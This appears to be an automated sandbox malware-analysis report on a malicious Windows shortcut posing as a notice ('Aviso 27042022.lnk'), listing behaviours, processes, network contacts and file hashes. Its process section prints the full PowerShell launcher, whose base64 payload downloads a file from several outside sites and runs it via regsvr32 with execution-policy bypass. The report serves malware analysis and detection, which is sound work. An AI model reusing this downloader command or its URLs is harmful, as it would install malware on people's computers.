Analysis Overview
SHA256
a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1
Threat Level: Likely malicious
The file a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1 was found to be: Likely malicious.
Malicious Activity Summary
Blocklisted process makes network request
Checks computer location settings
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-13 10:49
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-13 10:49
Reported
2024-11-13 10:52
Platform
win7-20240903-en
Max time kernel
117s
Max time network
118s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1072 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1072 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 1072 wrote to memory of 2796 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2796 wrote to memory of 2452 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2796 wrote to memory of 2452 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2796 wrote to memory of 2452 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1
Network
Files
memory/2796-38-0x000007FEF628E000-0x000007FEF628F000-memory.dmp
memory/2796-39-0x000000001B620000-0x000000001B902000-memory.dmp
memory/2796-40-0x0000000001E60000-0x0000000001E68000-memory.dmp
memory/2796-41-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/2796-43-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/2796-44-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/2796-42-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/2796-45-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
memory/2796-51-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1
| MD5 | 8ef6909ba4b9e6cd6676297601c39e5c |
| SHA1 | 9dcd9af682adacb278c1970d49babafd29df3928 |
| SHA256 | 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c |
| SHA512 | b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5 |
memory/2796-53-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-13 10:49
Reported
2024-11-13 10:52
Platform
win10v2004-20241007-en
Max time kernel
96s
Max time network
134s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4332 wrote to memory of 4152 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4332 wrote to memory of 4152 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4152 wrote to memory of 3128 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4152 wrote to memory of 3128 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a72d74a081cb51e3b6b4aca8a6931ffb2ae1e5eb99ed996d16972b45c20262d1.lnk
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command Out-String -InputObject "Aviso 27042022.lnk " | Out-Null; [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('JFByb2dyZXNzUHJlZmVyZW5jZT0iU2lsZW50bHlDb250aW51ZSI7JGxpbmtzPSgiaHR0cDovL2htZW5nLmNvLnVrL2NnaS1iaW4vSC8iLCJodHRwczovL2Vkb3Jhc2VndXJvcy5jb20uYnIvY2dpLWJpbi9taDNNTUdLZmhYdEovIiwiaHR0cHM6Ly93d3cucmVuZWV0dGVuLm5sL01lbnUvWE5NaHg2blNubnBwOGFaemsvIiwiaHR0cDovL2JyZW5kYW5jbGVhcnkubmV0L2ltYWdlcy9vSUxFSnhPYjAyMU9naEdkeHMvIiwiaHR0cHM6Ly9iZW5jZXZlbmRlZ2hhei5odS93cC1pbmNsdWRlcy9pVVd2VU5xLyIsImh0dHA6Ly9hbmF0LWJhci5jby5pbC93cC1hZG1pbi9ENkxpczVDdHJNZHVyTS8iKTtmb3JlYWNoICgkdSBpbiAkbGlua3MpIHt0cnkge0lXUiAkdSAtT3V0RmlsZSAkZW52OlRFTVAvd1p4cGNHaHFQeC5lcVo7UmVnc3ZyMzIuZXhlICRlbnY6VEVNUC93WnhwY0docVB4LmVxWjticmVha30gY2F0Y2ggeyB9fQ==')) > "C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1"; powershell -executionpolicy bypass -file "$env:TEMP/\hgUQRrLvVK.ps1"; Remove-Item "$env:TEMP/\hgUQRrLvVK.ps1" -Force
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -file C:\Users\Admin\AppData\Local\Temp/\hgUQRrLvVK.ps1
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.31.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | hmeng.co.uk | udp |
| US | 104.21.65.208:80 | hmeng.co.uk | tcp |
| US | 8.8.8.8:53 | edoraseguros.com.br | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 209.126.103.109:443 | edoraseguros.com.br | tcp |
| US | 8.8.8.8:53 | www.edoraseguros.com.br | udp |
| US | 8.8.8.8:53 | 208.65.21.104.in-addr.arpa | udp |
| US | 209.126.103.109:443 | www.edoraseguros.com.br | tcp |
| US | 8.8.8.8:53 | 109.103.126.209.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.reneetten.nl | udp |
| NL | 45.82.191.199:443 | www.reneetten.nl | tcp |
| US | 8.8.8.8:53 | brendancleary.net | udp |
| US | 173.236.139.118:80 | brendancleary.net | tcp |
| US | 8.8.8.8:53 | 199.191.82.45.in-addr.arpa | udp |
| US | 8.8.8.8:53 | bencevendeghaz.hu | udp |
| HU | 37.221.212.72:443 | bencevendeghaz.hu | tcp |
| US | 8.8.8.8:53 | anat-bar.co.il | udp |
| US | 8.8.8.8:53 | 118.139.236.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.212.221.37.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.163.245.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
Files
memory/4152-2-0x00007FFC5D5D3000-0x00007FFC5D5D5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yud4niye.qdl.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4152-12-0x000001CEE95D0000-0x000001CEE95F2000-memory.dmp
memory/4152-14-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp
memory/4152-13-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp
memory/4152-15-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp
memory/4152-24-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\hgUQRrLvVK.ps1
| MD5 | 8ef6909ba4b9e6cd6676297601c39e5c |
| SHA1 | 9dcd9af682adacb278c1970d49babafd29df3928 |
| SHA256 | 9a9ba2e8478d73ec02ff4c0d2c30dc0e7fad0e54d16737875c2b60fcbcac727c |
| SHA512 | b8f40c8d659c82034984d703ea1a6cf4cbcdb3039bf917e2d9eba391f910af860c1e154ebe1b1004532b0412fa5c39db554a54f7c1bb1ec32c0bfcf4eb6900b5 |
memory/3128-28-0x000002823C0A0000-0x000002823C846000-memory.dmp
memory/4152-35-0x00007FFC5D5D0000-0x00007FFC5E091000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 0ab03b4ab0ee8273a1eea28cef1ca1e7 |
| SHA1 | 8a305ca40e71bd2b04b20c65e28730e3ff3f50b2 |
| SHA256 | 695a48145171a84d61778fe33c410d3195109c7c59a2b1038a1f3ca14c52a3ed |
| SHA512 | 7347810d3c514b343def26aa42e4b758fc1cdd8a9e57c529de49615b995c8c1dab942d83d432a5ee6e022bbefd020d6b1d920ffa61a9ca2617ff8b67ce3c4f72 |